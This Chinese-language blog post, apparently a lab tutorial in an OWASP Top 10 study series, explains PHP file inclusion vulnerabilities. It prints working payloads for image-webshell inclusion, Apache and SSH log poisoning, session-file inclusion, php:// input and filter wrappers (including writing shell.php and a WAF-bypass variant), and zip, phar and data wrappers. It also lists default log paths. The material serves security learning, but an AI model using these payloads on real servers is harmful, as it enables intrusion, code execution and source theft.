渗透学习
文件包含漏洞
文章目录
前言
本系列用于记录本人渗透学习的过程,主要内容围绕Owasp TOP 10展开。
文件包含漏洞将用实验案例的方式介绍文件包含漏洞的成因特点,利用方法。在了解文件包含漏洞的危害的同时学习各类文件的包含、本地包含配合文件上传包含图片马和php封装伪协议。
本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任。
一、文件包含漏洞
文件包含指把可重复使用的函数写入到单个文件,在使用该函数时,直接调用此文件,无需再次编写函数。这一调用文件的过程被称为包含。
文件包含漏洞原理:在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意代码的注入。
文件包含函数:
include():找不到被包含文件时会产生警告
include_once():与include()类似,代码已经被包含则不会再次包含
require():找不到被包含的文件时会产生致命错误
require_once():与require()类似,代码已经被包含则不会再次包含
利用条件:
1.include等函数通过动态执行变量的方式引入需要包含的文件
2.用户能控制该动态变量
在包含php文件和未知后缀名的文件(xxx)时,由于文件内容符合PHP语法规则,代码都可以执行,除此之外,jpg文件、rar文件、txt文件、doc文件等,只要文件内容符合PHP语法规则,代码都可以执行。
文件包含漏洞可以分为LFI(本地文件包含)和RFI(远程文件包含)两种。区分二者最简单的办法就是通过查看php.ini中是否开启了allow_url_include。如果开启就有可能包含远程文件。
二、实验步骤
1.文件包含特点
访问include.php,文件包含环境
在浏览器中访问http://ip/include/include.php?page=01/1.jpg
在浏览器中访问http://ip/include/include.php?page=01/1.rar
在浏览器中访问http://ip/include/include.php?page=01/phpinfo.xxx
因此,只要文件内容符合PHP语法规则,代码都可以执行。
另外,也可以利用此漏洞读取敏感文件等
2.本地包含配合文件上传包含图片马
通过文件上传漏洞上传图片马(点击此补习文件上传知识),图片马不能解析,因此利用PHP文件包含漏洞解析图片马。如果网站同时存在文件包含漏洞,利用文件包含无视后缀名,只要被包含的文件内容符合PHP语法规范,任何扩展名都可以被PHP解析的特点来解析上传的图片马。
先新建要上传的1.php文件
再从网上下载一张图片在CMD制作图片马
上传图片马文件
问http://ip/up/upload/info.jpg,上传的脚本文件不能解析,因为图片马需要配合文件包含漏洞或者解析漏洞
访问http://ip/include/include.php?page=…/up/upload/info.jpg(…返回上一级目录),包含图片马,图片马成功解析
掌握文件上传+文件包含的组合漏洞,在绕过上传的检测时可以制作图片马上传,图片马上传成功不能直接解析,可以利用文件包含的特点进行解析图片马。
3.包含Apache日志文件
找到Apache路径,利用包含漏洞包含日志文件获取Webshell。
Apache两个日志文件:access.log、error.log
很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log
访问
?page=<?php phpinfo();?>
在access.log里出现记录
此时访问access.log
不会触发php脚本,因为<被编码无法生成。
解决方案:去BurpSuite里修改,在传入access.log里之前修改信息。
包含日志文件位置:
1.Apache+Linux日志默认路径
/etc/httpd/logs/access_log或/var/log/httpd/access log
2.Apache+Windows日志默认路径
XAMPP套件:xampp\apache\logs/access.log
phpStudy套件:phpStudy\Apache\logs/access/log
3.IIS6默认日志文件位置
C:WIDOWS\system32\Logfiles
4.IIS7默认日志文件位置
%SystemDrive%\inetpub\logs\LogFiles
5.Nginx日志默认位置
用户安装目录的logs目录下,也可以通过其配置文件nginx.conf,获取到日志的存在路径
6.SSH日志文件
ssh‘<?php phpinfo();?>'IP
7.session文件
在phpinfo页面的session.save_path参数处获取session文件路径
或者猜测常用路径:
/var/lib/php/sess_[PHPSESSID]
/tmp/sess_[PHPSESSID]
包含方法:
访问漏洞页面,在参数中构造payload:
session.php?a=<?php phpinfo();?>
然后通过BurpSuite抓包获取PHPSESSID,其文件名就是sess_[PHPSESSID],利用文件包含漏洞跨目录包含session文件。
4.PHP封装伪协议之php流input
通过文件包含漏洞,利用PHP封装伪协议,发送POST数据进行命令执行。
PHP有很多内置URL风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。
这类协议有:
利用php流input中流的概念,将原来的文件流重定向到了用户可控的输入流中执行命令。(对allow_url_include:on,allow_url_fopen不做要求)
实验步骤:
访问http://ip/include/include.php?page=php://input,post data"<?php phpinfo();?>“,并发送数据执行。
发送”<?php system(‘dir’);?>"数据执行系统命令
发送"<?php system(‘whoami’);?>"数据执行系统命令
发送"<?php fputs(fopen(‘shell.php’,‘w’),’<?php phpinfo();?>’);?>"数据执行,生成shell脚本文件
访问http://ip/include/include.php?page=shell.php
利用PHP封装伪协议中的php流input,发送POST数据(可利用火狐的插件,也可以利用Burp Suite抓包修改数据包)进行命令执行,可以执行操作系统命令,也可以在服务器端生成木马文件,用Webshell管理工具连接木马文件。
5.PHP封装伪协议之php流filter
读取文件(对allow_url_include和allow_url_fopen都不做要求)
?page=php://filter/read=convert.base64-encode/resource=index.php
(index.php即想要读的文件)通过指定末尾的文件,可以读取base64加密后的文件源码,之后再base64解码一下就行,虽然不能直接获取到shell等,但能读取敏感文件危害也很大。
解码得:
其他姿势:
?page=php://filter/convert.base64-encode/resource=index.php
效果相同,少了read关键词,可以绕过一些waf
6.PHP封装伪协议之其他
对伪协议的用法总结如下:
zip://
?page=zip://C:/Users/40454/Desktop/text.jpg%23text.txt
先将要执行的PHP代码写好文件名为text.txt,将text.txt进行ZIP压缩,压缩文件名为text.zip,如果可以上传zip文件便直接上传,若不能便将text.zip重命名为text.jpg再上传,获取上传文件所在位置之后执行上述payload。
使用zip协议需要指定绝对路径,使用相对路径会包含失败;
同时将#编码为%23
phar://
利用姿势:
假如有个文件test.txt,打包成zip压缩包,指定绝对路径(或者使用相对路径)
?page=phar://C:/Users/40454/Desktop/text.zip%23text.txt
或
?page=phar://C:/Users/40454/Desktop/text.jpg%23text.txt
data://
命令执行(php版本大于等于5.2,allow_url_include和allow_url_fopen都为on的状态)
?page=data://text/palin,<?php phpinfo();?>
或
?page=data://text/palin;base64,PD9waHAgcGhwaW5mbygpPz4=
总结
以上结合实验案例介绍了文件包含漏洞的特点、文件包含漏洞和文件上传漏洞的组合使用使用图片马、包含日志文件等漏洞和php封装伪协议。包含了大部分常见的文件包含漏洞。总而言之,文件包含漏洞的一大特性是只要符合php的语法规则,代码就可以执行。